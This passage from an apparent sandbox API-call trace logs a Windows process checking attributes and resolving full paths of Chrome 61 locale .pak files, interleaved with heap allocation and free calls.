lpMem=0x34a1fe8 | out: hHeap=0x2ad0000) returned 1 [0219.454] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ta.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ta.pak")) returned 0x20 [0219.454] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2618 | out: hHeap=0x2ad0000) returned 1 [0219.455] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\te.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\te.pak")) returned 0x20 [0219.455] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1fe8 | out: hHeap=0x2ad0000) returned 1 [0219.455] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325f830, Size=0xe8) returned 0x33d10b0 [0219.455] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\th.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\th.pak")) returned 0x20 [0219.456] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2460 | out: hHeap=0x2ad0000) returned 1 [0219.456] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\tr.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\tr.pak")) returned 0x20 [0219.456] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2148 | out: hHeap=0x2ad0000) returned 1 [0219.456] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\uk.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\uk.pak")) returned 0x20 [0219.456] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1e88 | out: hHeap=0x2ad0000) returned 1 [0219.457] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\vi.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\vi.pak")) returned 0x20 [0219.457] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2098 | out: hHeap=0x2ad0000) returned 1 [0219.457] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-CN.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\zh-cn.pak")) returned 0x20 [0219.457] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2510 | out: hHeap=0x2ad0000) returned 1 [0219.457] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-TW.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\zh-tw.pak")) returned 0x20 [0219.458] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2098 | out: hHeap=0x2ad0000) returned 1 [0219.458] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0219.458] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\am.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\am.pak", lpFilePart=0x9bada4*="am.pak") returned 0x4c [0219.458] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0219.458] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ar.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ar.pak", lpFilePart=0x9bada4*="ar.pak") returned 0x4c [0219.458] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0219.458] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0219.458] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0219.458] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0219.459] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bg.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bg.pak", lpFilePart=0x9bada4*="bg.pak") returned 0x4c [0219.459] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0219.459] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bn.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\bn.pak", lpFilePart=0x9bada4*="bn.pak") returned 0x4c [0219.459] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ca.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ca.pak", lpFilePart=0x9bada4*="ca.pak") returned 0x4c [0219.459] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0219.459] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\cs.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\cs.pak", lpFilePart=0x9bada4*="cs.pak") returned 0x4c [0219.459] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\da.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\da.pak", lpFilePart=0x9bada4*="da.pak") returned 0x4c [0219.460] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0219.460] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\de.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\de.pak", lpFilePart=0x9bada4*="de.pak") returned 0x4c [0219.460] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\el.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\el.pak", lpFilePart=0x9bada4*="el.pak") returned 0x4c [0219.460] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0219.460] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-GB.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-GB.pak", lpFilePart=0x9bada4*="en-GB.pak") returned 0x4f [0219.460] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-US.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\en-US.pak", lpFilePart=0x9bada4*="en-US.pak") returned 0x4f [0219.461] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0219.461] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es-419.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es-419.pak", lpFilePart=0x9bada4*="es-419.pak") returned 0x50 [0219.461] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\es.pak", lpFilePart=0x9bada4*="es.pak") returned 0x4c [0219.461] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0219.461] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\et.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\et.pak", lpFilePart=0x9bada4*="et.pak") returned 0x4c [0219.461] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fa.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fa.pak", lpFilePart=0x9bada4*="fa.pak") returned 0x4c [0219.461] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0219.462] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fi.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fi.pak", lpFilePart=0x9bada4*="fi.pak") returned 0x4c [0219.462] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fil.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fil.pak", lpFilePart=0x9bada4*="fil.pak") returned 0x4d [0219.462] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0219.462] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fr.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\fr.pak", lpFilePart=0x9bada4*="fr.pak") returned 0x4c [0219.462] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\gu.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\gu.pak", lpFilePart=0x9bada4*="gu.pak") returned 0x4c [0219.462] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0219.463] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\he.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\he.pak", lpFilePart=0x9bada4*="he.pak") returned 0x4c [0219.463] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hi.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hi.pak", lpFilePart=0x9bada4*="hi.pak") returned 0x4c [0219.463] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0219.463] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hr.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hr.pak", lpFilePart=0x9bada4*="hr.pak") returned 0x4c [0219.463] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hu.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\hu.pak", lpFilePart=0x9bada4*="hu.pak") returned 0x4c [0219.463] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0219.463] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\id.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\id.pak", lpFilePart=0x9bada4*="id.pak") returned 0x4c [0219.464] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\it.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\it.pak", lpFilePart=0x9bada4*="it.pak") returned 0x4c [0219.464] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0219.464] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ja.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ja.pak", lpFilePart=0x9bada4*="ja.pak") returned 0x4c [0219.464] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\kn.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\kn.pak", lpFilePart=0x9bada4*="kn.pak") returned 0x4c [0219.464] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0219.464] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ko.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ko.pak", lpFilePart=0x9bada4*="ko.pak") returned 0x4c [0219.464] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0219.465] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lt.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lt.pak", lpFilePart=0x9bada4*="lt.pak") returned 0x4c [0219.465] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0219.465] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0219.465] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lv.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lv.pak", lpFilePart=0x9bada4*="lv.pak") returned 0x4c [0219.465] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0219.465] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ml.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ml.pak", lpFilePart=0x9bada4*="ml.pak") returned 0x4c [0219.465] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0219.465] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0219.466] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0219.466] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0219.466] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\mr.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\mr.pak", lpFilePart=0x9bada4*="mr.pak") returned 0x4c [0219.466] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0219.466] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ms.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ms.pak", lpFilePart=0x9bada4*="ms.pak") returned 0x4c [0219.466] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0219.466] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0219.466] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0219.466] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0219.466] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nb.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nb.pak", lpFilePart=0x9bada4*="nb.pak") returned 0x4c [0219.467] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0219.467] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nl.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\nl.pak", lpFilePart=0x9bada4*="nl.pak") returned 0x4c [0219.467] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0219.467] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0219.467] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0219.467] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0219.467] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pl.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pl.pak", lpFilePart=0x9bada4*="pl.pak") returned 0x4c [0219.467] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0219.467] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-BR.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-BR.pak", lpFilePart=0x9bada4*="pt-BR.pak") returned 0x4f [0219.468] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-PT.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\pt-PT.pak", lpFilePart=0x9bada4*="pt-PT.pak") returned 0x4f [0219.468] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0219.468] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ro.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ro.pak", lpFilePart=0x9bada4*="ro.pak") returned 0x4c [0219.468] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ru.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ru.pak", lpFilePart=0x9bada4*="ru.pak") returned 0x4c [0219.468] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0219.468] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sk.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sk.pak", lpFilePart=0x9bada4*="sk.pak") returned 0x4c [0219.469] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sl.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sl.pak", lpFilePart=0x9bada4*="sl.pak") returned 0x4c [0219.469] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0219.469] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sr.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sr.pak", lpFilePart=0x9bada4*="sr.pak") returned 0x4c [0219.469] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sv.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sv.pak", lpFilePart=0x9bada4*="sv.pak") returned 0x4c [0219.469] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0219.469] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sw.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\sw.pak", lpFilePart=0x9bada4*="sw.pak") returned 0x4c [0219.469] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ta.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ta.pak", lpFilePart=0x9bada4*="ta.pak") returned 0x4c [0219.470] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0219.470] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\te.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\te.pak", lpFilePart=0x9bada4*="te.pak") returned 0x4c [0219.499] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\th.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\th.pak", lpFilePart=0x9bada4*="th.pak") returned 0x4c [0219.499] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0219.499] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\tr.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\tr.pak", lpFilePart=0x9bada4*="tr.pak") returned 0x4c [0219.499] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\uk.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\uk.pak", lpFilePart=0x9bada4*="uk.pak") returned 0x4c [0219.499] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0219.500] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\vi.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\vi.pak", lpFilePart=0x9bada4*="vi.pak") returned 0x4c [0219.500] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-CN.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-CN.pak", lpFilePart=0x9bada4*="zh-CN.pak") returned 0x4f [0219.500] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0219.500] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-TW.pak", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\zh-TW.pak", 